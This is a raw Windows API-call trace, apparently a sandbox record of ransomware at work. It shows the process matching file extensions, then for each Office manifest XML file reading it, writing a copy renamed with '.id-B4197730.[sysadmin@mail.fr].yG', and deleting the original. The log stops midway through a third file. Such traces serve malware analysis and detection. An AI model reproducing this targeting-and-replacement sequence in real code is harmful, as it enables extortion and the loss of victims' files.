	[0050.919] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.919] lstrlenW (lpString=".pdf") returned 4
	[0050.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".xls") returned 4
	[0050.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".xlsx") returned 5
	[0050.920] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.920] lstrlenW (lpString=".ppt") returned 4
	[0050.920] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString=".zip") returned 4
	[0050.920] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.920] lstrlenW (lpString=".rar") returned 4
	[0050.920] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".bz2") returned 4
	[0050.920] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".7z") returned 3
	[0050.920] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString=".dbf") returned 4
	[0050.920] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString=".1cd") returned 4
	[0050.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString=".jpg") returned 4
	[0050.920] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.920] lstrlenW (lpString=".doc") returned 4
	[0050.920] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".docx") returned 5
	[0050.920] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.920] lstrlenW (lpString=".pdf") returned 4
	[0050.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".xls") returned 4
	[0050.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.920] lstrlenW (lpString=".xlsx") returned 5
	[0050.921] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.921] lstrlenW (lpString=".ppt") returned 4
	[0050.921] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.921] lstrlenW (lpString=".zip") returned 4
	[0050.921] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.921] lstrlenW (lpString=".rar") returned 4
	[0050.921] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.921] lstrlenW (lpString=".bz2") returned 4
	[0050.921] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.921] lstrlenW (lpString=".7z") returned 3
	[0050.921] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.921] lstrlenW (lpString=".dbf") returned 4
	[0050.921] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.921] lstrlenW (lpString=".1cd") returned 4
	[0050.921] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.921] lstrlenW (lpString=".jpg") returned 4
	[0050.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.921] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.921] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53
	[0050.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.921] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1261) returned 1
	[0050.921] CloseHandle (hObject=0x2f4) returned 1
	[0050.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.922] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.922] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.922] GetLastError () returned 0x0
	[0050.922] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.923] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.924] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.924] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.924] SetEndOfFile (hFile=0x38c) returned 1
	[0050.925] CloseHandle (hObject=0x38c) returned 1
	[0050.925] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.925] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.926] CloseHandle (hObject=0x2f4) returned 1
	[0050.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.927] lstrlenW (lpString=".doc") returned 4
	[0050.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString=".docx") returned 5
	[0050.927] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.927] lstrlenW (lpString=".pdf") returned 4
	[0050.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString=".xls") returned 4
	[0050.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString=".xlsx") returned 5
	[0050.927] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.927] lstrlenW (lpString=".ppt") returned 4
	[0050.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.927] lstrlenW (lpString=".zip") returned 4
	[0050.927] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.927] lstrlenW (lpString=".rar") returned 4
	[0050.927] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString=".bz2") returned 4
	[0050.927] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.927] lstrlenW (lpString=".7z") returned 3
	[0050.927] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.927] lstrlenW (lpString=".dbf") returned 4
	[0050.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".1cd") returned 4
	[0050.928] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".jpg") returned 4
	[0050.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".doc") returned 4
	[0050.928] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString=".docx") returned 5
	[0050.928] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.928] lstrlenW (lpString=".pdf") returned 4
	[0050.928] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString=".xls") returned 4
	[0050.928] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString=".xlsx") returned 5
	[0050.928] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.928] lstrlenW (lpString=".ppt") returned 4
	[0050.928] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".zip") returned 4
	[0050.928] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.928] lstrlenW (lpString=".rar") returned 4
	[0050.928] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString=".bz2") returned 4
	[0050.928] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString=".7z") returned 3
	[0050.928] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".dbf") returned 4
	[0050.928] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.928] lstrlenW (lpString=".1cd") returned 4
	[0050.929] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0050.929] lstrlenW (lpString=".jpg") returned 4
	[0050.929] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.929] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.929] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53
	[0050.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.929] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1261) returned 1
	[0050.929] CloseHandle (hObject=0x2f4) returned 1
	[0050.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.929] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.929] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.930] GetLastError () returned 0x0
	[0050.930] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.966] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.967] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.967] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.967] SetEndOfFile (hFile=0x38c) returned 1
	[0050.968] CloseHandle (hObject=0x38c) returned 1
	[0050.968] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.968] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.969] CloseHandle (hObject=0x2f4) returned 1
	[0050.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString=".doc") returned 4
	[0050.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString=".docx") returned 5
	[0050.970] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.970] lstrlenW (lpString=".pdf") returned 4
	[0050.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString=".xls") returned 4
	[0050.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString=".xlsx") returned 5
	[0050.970] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.970] lstrlenW (lpString=".ppt") returned 4
	[0050.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString=".zip") returned 4
	[0050.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.970] lstrlenW (lpString=".rar") returned 4
	[0050.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString=".bz2") returned 4
	[0050.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString=".7z") returned 3
	[0050.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString=".dbf") returned 4
	[0050.970] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString=".1cd") returned 4
	[0050.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString=".jpg") returned 4
	[0050.970] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.971] lstrlenW (lpString=".doc") returned 4
	[0050.971] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString=".docx") returned 5
	[0050.971] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.971] lstrlenW (lpString=".pdf") returned 4
	[0050.971] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString=".xls") returned 4
	[0050.971] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString=".xlsx") returned 5
	[0050.971] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.971] lstrlenW (lpString=".ppt") returned 4
	[0050.971] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.971] lstrlenW (lpString=".zip") returned 4
	[0050.971] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.971] lstrlenW (lpString=".rar") returned 4
	[0050.971] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString=".bz2") returned 4
	[0050.971] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString=".7z") returned 3
	[0050.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.971] lstrlenW (lpString=".dbf") returned 4
	[0050.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.971] lstrlenW (lpString=".1cd") returned 4
	[0050.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104
	[0050.971] lstrlenW (lpString=".jpg") returned 4
	[0050.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.971] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.971] lstrlenW (lpString="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 53
	[0050.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.972] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=527958) returned 1
	[0050.972] CloseHandle (hObject=0x2f4) returned 1
	[0050.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.972] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.972] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.972] GetLastError () returned 0x0
	[0050.972] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x80e56, lpOverlapped=0x0) returned 1
